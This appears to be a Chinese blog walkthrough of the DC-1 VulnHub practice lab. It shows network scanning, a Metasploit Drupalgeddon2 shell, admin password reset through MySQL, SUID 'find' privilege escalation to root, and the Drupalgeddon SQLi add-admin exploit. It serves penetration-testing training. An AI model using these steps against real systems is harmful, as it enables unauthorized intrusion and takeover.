首页 > 其他分享 >DC1靶场练习

DC1靶场练习

时间:2024-05-07 09:00:40浏览次数:20  
标签:drupal 练习 cat 提权 靶场 txt root find DC1

DC1

下载地址:

https://download.vulnhub.com/dc/DC-1.zip

题目要求:

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

信息收集

1.1 arp-scan -l

image

1.2 ifconfig

image

1.3 nmap -p- -sV 192.168.126.130

发现rpcbind

111端口rpcbind服务 可以利用udp反射进行ddos攻击

image

1.4 whatweb

渗透

2.1 发现drupal 7

2.2 进入msf

2.3 search drupal

2.3 尝试到unix/webapp/drupal_drupalgeddon2远程命令执行漏洞

use 1

show options

set rhost 192.168.126.130

run

getshell成功

sysinfo(help查看可用命令)

ls

2.4 发现flag1.txt

cat flag1.txt

数据库

3.1 提示drupal网站配置文件有东西

3.2 发现数据库

3.3 切换到主机的cmd中

shell

或者

shell

获取完全交互式终端

python -c 'import pty;pty.spawn("/bin/bash")'

script /dev/null

3.4 mysql -udbuser -p

R0ck3t

show databases;

use drupaldb;

show tables;

select * from users;

(退出exit

3.5 由前面查看网站配置文件时发现加盐MD5

所以该hash无法爆破

另辟蹊径

3.6 密码重置

find / -name "password-hash.sh"

php /var/www/scripts/password-hash.sh 123

复制加salt之后的md5

$S$DRg21kugCL0AGQqr1G90hPfO.XkoCuhFqYU.HZfT8me7BiSMlYPT

image

再次进入mysql中

update users set pass="$S$DMHrgiAJFOw9uyksr.7CaAWWS1eMIGnGmCCjFFZrNdaDIg4dcw8B" where uid=1;

image

4.1 登录后台

http://192.168.126.130

左上角的context

4.2 找到flag3

image

image

根据提示

cat /etc/passwd

cat /home/flag4.txt

4.3找到flag4

image

提权

5.1 根据flag4提示提权

linux提权之suid提权

5.2 查找具有suid的命令

find / -perm -u=s -type f 2>/dev/null

find本身就有suid

image

5.3 find提权

find /usr/bin/find -exec "/bin/sh" \;

image

cd /root

cat thefinalflag.txt

5.4 找到最后一个flag

image

排漏

3.7 CVE-2014-3704-Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)

3.8 searchsploit Drupal

发现Drupal 7 有一个admin用户添加漏洞

image

3.9 定位

locate php/webapps/34992.py

3.10 复制到桌面

cp /usr/share/exploitdb/exploits/php/webapps/34992.py ./

3.11 查看用法

cat 34992.py

image

3.12 添加test/test成功

image

3.13 登录后台

image

3.14 也是可以看到flag3

image

标签:drupal,练习,cat,提权,靶场,txt,root,find,DC1
From: https://www.cnblogs.com/Minarui/p/18176467

相关文章

  • 2024.5.6 近期练习
    P3354[IOI2005]Riv河流如果我们设\(f_{u,j}\)表示子树\(u\)内放了\(j\)个伐木场的答案,发现很难转移。我们多加状态,设\(f_{u,i,j}\)表示子树\(u\)放了\(j\)个伐木场,木材全部运到\(i\)去最小代价。\(i\)是\(j\)祖先。继续设\(g_{u,i,j}\)表示\(u\)建了伐......
  • 0506C语言练习:字符串A中删除字符串B中所有相同字母等
    字符串A中删除字符串B中所有相同字母(无论大小写)/***@func: 字符串A中删除字符串B中所有相同字母(无论大小写)*@date2024/05/06*@version1.0:版本*CopyRight(c)[email protected]*/voidrepeat(char*a,constchar*b){......
  • python实战练习题二
    """第一题:求解回文字符串回文是一个正读和反读都一样的字符串。例如:abcba12321是回文字符串hello123456不是回文字符串"""s=input("请输入字符串:")s2=s[::-1]#字符串逆序ifs==s2:print("{}是回文字符串!".format(s))else:pr......
  • python常见的实战练习题一
    """第一题:求解水仙花数水仙花数,也被称为自恋数、自幂数、阿姆斯壮数或阿姆斯特朗数(Armstrongnumber),是一个n位数(n≥3),其每个位上的数字的n次幂之和等于它本身。例如,三位数153是一个水仙花数,因为1^3+5^3+3^3=153。在三位数中,除了153,还有370、371和407也是水仙花......
  • 【攻防靶场系列】WEB LLM 学习及实操(一)
    什么是LLM❓大型语言模型(LLM)是一种AI算法,可以处理用户输入并通过预测单词序列来创建合理的响应。他们在巨大的半公开数据集上接受训练,使用机器学习来分析语言的组成部分如何组合在一起。如何检测LLM漏洞❓确定LLM(语言模型)的输入,包括直接输入(如提示)和间接输入(如训练数......
  • DHU网络攻防靶场攻击记录
    DHU网络靶场攻击记录已知:靶场入口10.199.227.xxx不完整的网络拓扑图:环境准备:kali/wsl-kali/虚拟机kali以及windows或其他操作系统的本机工具准备:Fscannmaplaravel-CVE-2021-3129-EXP-main哥斯拉Burpsuitemsfconsole(主要)目录DHU网络靶场攻击记录如何挂代理入口处机......
  • 51单片机程序框架之跑马灯练习
    /******************************************************************************此程序是依据吴坚鸿程序框架,在普中51A2单片机开发板上的程序练习程序目标:LED以1HZ的频率闪烁*******************************************************************************/#include<......
  • C语言程序设计——字符串典型题练习
    1、计算一个字符串中最大的重复子串的字符的数量/********************************************************************* name : CalSubStrMaxCnt* function:计算一个字符串中最大的重复子串的字符的数量* argument:* @str:需要查找的字符串的地址* * ret......
  • 学会使用 NumPy:基础、随机、ufunc 和练习测试
    NumPyNumPy是一个用于处理数组的Python库。它代表“NumericalPython”。基本随机ufunc通过测验测试学习检验您对NumPy的掌握程度。通过练习学习NumPy练习练习:请插入创建NumPy数组的正确方法。arr=np.([1,2,3,4,5])示例创建NumPy数组:importnumpy......
  • 团队练习3 案例
    一、案例内容要求1、你发现跟你联系的”客户”不是真的客户,而是转手把他接到的活转包给你了,但是你见不到用户,你只跟转包的二道贩子交流。2、用户声称这是一个"小案子","用开源程序改一下就行"。3、客户声称“目前钱不多,但是优秀者以后会给股份"4、客户不签合同,不给......